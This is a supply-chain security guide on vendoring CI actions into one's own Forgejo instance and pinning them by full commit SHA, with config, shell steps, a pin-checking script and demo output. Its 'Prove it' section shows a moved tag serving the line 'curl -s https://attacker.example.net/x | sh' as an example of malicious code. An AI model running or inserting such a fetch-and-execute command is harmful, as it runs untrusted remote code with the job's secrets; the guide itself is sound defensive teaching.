Build and supply chain

Vendoring CI actions at pinned SHAs, the secure way

uses: actions/checkout@v4 looks like a version number. It is a pointer that the action's maintainers, or whoever steals their token, can move tonight. Your pipeline will then run the new code with your secrets, and no commit on your side will show it.

The short answer

Copy every third-party action into a repository on your own forge at a reviewed commit, reference it by full URL and full 40-character commit SHA, and set DEFAULT_ACTIONS_URL so short names cannot reach outside hosts. A CI check rejects any uses: line that is a tag, a branch or another host.

Updated Houssam Hammoudi, CTOTested with git 2.54 (alpine/git), forgejo-runner v13.2.0, actions/checkout v7.0.1

On this page
  1. What goes wrong
  2. What the docs say
  3. The secure configuration
  4. Prove it
  5. Mistakes people make
  6. Checklist

What goes wrong

A CI step such as uses: actions/checkout@v4 downloads code from another repository at run time and executes it inside your job. That job usually holds a token that can push to your repository, registry credentials, and deploy keys.

v4 is a Git tag. Tags can be moved or deleted by anyone with push rights to that repository. Many actions also move a major tag (v7) forward with every release on purpose. So the code your pipeline runs can change without any change on your side.

This has happened at scale. In March 2025 the tags of the widely used tj-actions/changed-files action were pointed at a malicious commit that printed CI secrets into build logs. Every workflow that referenced the action by tag ran it. Workflows pinned to an older full commit SHA did not.

Forgejo adds one more twist. A short name such as actions/checkout is resolved against a default actions host, which is a public instance unless you change it.

What the docs say

Pinning an action to a full-length commit SHA is currently the only way to use an action as an immutable release.

Source: GitHub docs, Secure use reference

Because it is possible to compromise tags, it is recommended to use commit SHAs for security reasons.

Source: Forgejo docs, Actions reference

When possible it is strongly recommended to choose fully qualified URLs to avoid ambiguities.

Source: Forgejo docs, Actions reference

In a workflow, when uses: does not specify an absolute URL, the value of DEFAULT_ACTIONS_URL is prepended to it.

Source: Forgejo docs, Forgejo Actions administrator guide

Pinning a SHA fixes which commit runs. It does not keep the upstream repository available, and it does not help if the action itself downloads more code at run time (a Docker image by tag, a script with curl). Vendoring into your own forge handles the first; reviewing the action handles the second.

The secure configuration

1. Point short names at your own forge

In Forgejo's app.ini, so that uses: actions/checkout@... can never reach a public instance:

ini
[actions]
ENABLED = true
; Short "uses:" names resolve here. This must be your own instance, with an
; "actions" organization that only the platform team can write to.
DEFAULT_ACTIONS_URL = https://git.example.com

2. Vendor each action at a reviewed commit

bash
# Resolve the release tag to its commit. For annotated tags, use the "^{}" line.
git ls-remote https://github.com/actions/checkout 'refs/tags/v7.0.1*'

SHA=3d3c42e5aac5ba805825da76410c181273ba90b1   # the commit you reviewed

git init checkout && cd checkout
git fetch https://github.com/actions/checkout "$SHA"
git checkout FETCH_HEAD
test "$(git rev-parse HEAD)" = "$SHA"

# Review: action.yml (what runs, which node version, which Docker image),
# the compiled dist/ file for JavaScript actions, and any network calls.

git push https://git.example.com/actions/checkout.git \
  HEAD:refs/heads/main HEAD:refs/tags/v7.0.1

The actions organization on your forge has branch and tag protection, and only the platform team can push to it. Updating an action is the same steps with a new SHA, reviewed like any other dependency.

3. Reference by full URL and full SHA

yaml
on: [push]
jobs:
  build:
    runs-on: docker
    steps:
      - uses: https://git.example.com/actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false   # do not leave the token in .git/config for later steps
      - uses: ./.forgejo/actions/setup  # actions in this repository are reviewed with the code
      - run: make test

The comment keeps the human-readable version next to the SHA, so update tools and reviewers can see what it is.

4. Gate every workflow change

sh
#!/bin/sh
# check-pins.sh WORKFLOW_DIR
# Every "uses:" must be one of:
#   ./path                                   (an action in this repository)
#   https://$ACTIONS_HOST/owner/repo@<40-hex commit SHA>
#   docker://image@sha256:<64 hex>
# Anything else (a tag, a branch, a short name, another host) fails.
set -eu
ACTIONS_HOST=${ACTIONS_HOST:-git.example.com}
for f in "$1"/*.yml "$1"/*.yaml; do
  [ -f "$f" ] || continue
  grep -n -E '^[[:space:]]*(-[[:space:]]+)?uses:' "$f" | while IFS= read -r line; do
    ref=$(printf '%s\n' "$line" | sed -E 's/^[0-9]+:[[:space:]]*(-[[:space:]]+)?uses:[[:space:]]*//; s/[[:space:]]+#.*$//; s/^["'\'']//; s/["'\'']$//')
    case "$ref" in
      ./*) continue ;;
    esac
    if printf '%s' "$ref" | grep -q -E "^https://${ACTIONS_HOST}/[^@ ]+@[0-9a-f]{40}$"; then continue; fi
    if printf '%s' "$ref" | grep -q -E '^docker://[^@ ]+@sha256:[0-9a-f]{64}$'; then continue; fi
    echo "UNPINNED $f:${line%%:*}: $ref"
    echo x >> "${TMPDIR:-/tmp}/check-pins.$$"
  done
done
if [ -s "${TMPDIR:-/tmp}/check-pins.$$" ]; then rm -f "${TMPDIR:-/tmp}/check-pins.$$"; exit 1; fi
rm -f "${TMPDIR:-/tmp}/check-pins.$$"
echo "all actions pinned to vendored commits"

Run it on .forgejo/workflows (and .github/workflows if you have both) in a required check, and protect the workflow directory with code owners so a pull request cannot change the check and the workflow at once.

Prove it

Upstream, a major tag is simply the latest release at the moment:

bash
git ls-remote https://github.com/actions/checkout refs/tags/v7 refs/tags/v7.0.0 refs/tags/v7.0.1
text
3d3c42e5aac5ba805825da76410c181273ba90b1	refs/tags/v7
9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0	refs/tags/v7.0.0
3d3c42e5aac5ba805825da76410c181273ba90b1	refs/tags/v7.0.1

In a throwaway repository, a tag is moved to a new commit. The tag now serves the new code; the old SHA still serves the old code:

bash
git tag -f v1 HEAD      # the maintainer account is compromised
git show v1:run.sh
git show 9375fce30816087614f06e74a74c3eb7520adc7c:run.sh
text
Updated tag 'v1' (was 9375fce)
curl -s https://attacker.example.net/x | sh
echo safe

Vendoring one commit into a bare repository that stands in for your forge:

bash
git fetch https://github.com/actions/checkout 3d3c42e5aac5ba805825da76410c181273ba90b1
git checkout FETCH_HEAD && git rev-parse HEAD
git push /forge/actions/checkout.git HEAD:refs/heads/main HEAD:refs/tags/v7.0.1
git ls-remote /forge/actions/checkout.git
text
3d3c42e5aac5ba805825da76410c181273ba90b1
3d3c42e5aac5ba805825da76410c181273ba90b1	HEAD
3d3c42e5aac5ba805825da76410c181273ba90b1	refs/heads/main
3d3c42e5aac5ba805825da76410c181273ba90b1	refs/tags/v7.0.1

The gate on a workflow with a short name, a branch, and a tag on your own host, then on the pinned workflow:

bash
ACTIONS_HOST=git.example.com sh check-pins.sh bad/
ACTIONS_HOST=git.example.com sh check-pins.sh good/
forgejo-runner validate --workflow --path good/build.yml
text
UNPINNED bad/build.yml:6: actions/checkout@v4
UNPINNED bad/build.yml:7: https://github.com/example/setup-tool@main
UNPINNED bad/build.yml:8: https://git.example.com/actions/cache@v4
exit code 1
all actions pinned to vendored commits
/wf/good/build.yml workflow schema validation OK

A tag on your own host fails too: your own tags can move as well.

Mistakes people make

Pinning the tag object instead of the commit

For an annotated tag, git ls-remote prints two lines: the tag object and, with ^{}, the commit it points to. Pin the commit. Check with git rev-parse HEAD after checkout.

Pinning a SHA from a fork

A SHA that exists only in a fork can still look like it belongs to the upstream project in some forges' URLs. Fetch the SHA from the repository you vendor, confirm it is reachable from a release tag there, and push it to your own forge.

Short names with the default actions host

Without DEFAULT_ACTIONS_URL pointing at your own instance, uses: actions/checkout@<sha> still downloads from a public host. Use full URLs, and change the default anyway.

Trusting the action's own dependencies

An action pinned by SHA can still run docker://some/image:latest or fetch a script at run time. Read action.yml. Vendor its images by digest too.

Leaving the checkout token for later steps

By default, checkout actions store the job token in .git/config, where every later step (including a malicious dependency's post-install script) can read it. Set persist-credentials: false unless a later step must push.

Checklist

  • DEFAULT_ACTIONS_URL points at your own forge.
  • Every third-party action is vendored into an actions organization only the platform team can write to.
  • Each vendored commit was reviewed, including action.yml and any dist/ code.
  • Every uses: is a full URL with a 40-character commit SHA, or a local ./ action.
  • Docker actions reference images by @sha256: digest.
  • A required CI check rejects tags, branches, short names and other hosts in uses:.
  • The workflow directory has code owners.
  • Checkout steps set persist-credentials: false unless a push is needed.
  • Action updates are pull requests with the new SHA and the reviewed diff.

A version tag is a promise from someone else. A commit SHA in your own forge is a promise you can keep.

H2-CSDE

Learn it on a live range

Dependencies and vendoring, in DevSecOps and Supply Chain: a real host in your browser, and every objective checked on the machine.

Start free

H2 Scanner

Want this caught before it merges?

The H2 Scanner runs in your CI and flags the weaknesses pages like this one warn about, on every pull request.

Talk to us